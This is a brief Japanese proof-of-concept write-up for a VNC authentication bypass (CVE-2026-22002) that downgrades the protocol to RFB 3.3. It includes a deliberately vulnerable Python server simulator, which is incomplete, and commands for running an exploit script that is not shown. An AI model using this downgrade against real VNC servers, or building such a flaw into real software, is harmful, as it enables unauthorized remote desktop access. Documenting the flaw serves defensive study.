
CVE-2026-22002 VNC認証バイパスを実証するPython PoC。プロトコルバージョンをRFB 3.3に強制的にダウングレードすることで認証を回避し、模擬的な脆弱なサーバーと、認証なしのリモートアクセスを実現するエクスプロイトスクリプトを含みます。
# vnc_server_sim.py - VNC server with version negotiation flaw
import socket, struct
def handle(conn):
# Send server version "RFB 003.008\n"
conn.send(b"RFB 003.008\n")
# Receive client version
client_ver = conn.recv(12)
# Vulnerability: if client sends "RFB 003.003", server downgrades and uses no auth
if b"003.003" in client_ver:
conn.send(struct.pack(">I", 1)) # security type 1 = None
else:
conn.send(struct.pack(">I", 2)) # VNC Auth
# ... rest of handshake
print("Downgraded to no authentication!")
s = socket.socket()
s.bind(('0.0.0.0', 5900))
s.listen(1)
while True:
conn, _ = s.accept()
handle(conn)
VNCサーバーは、クライアントが通知するプロトコルバージョンに基づいてセキュリティタイプをネゴシエーションします。攻撃者は古いバージョン(RFB 3.3)を報告することで、サーバーに「None」認証方式へのダウングレードを強制し、認証なしでリモートデスクトップへアクセスできるようになります。
python vnc_server_sim.py
python exploit_vnc_downgrade.py
サーバーはセキュリティタイプ1(None)を選択し、すべての認証をバイパスします。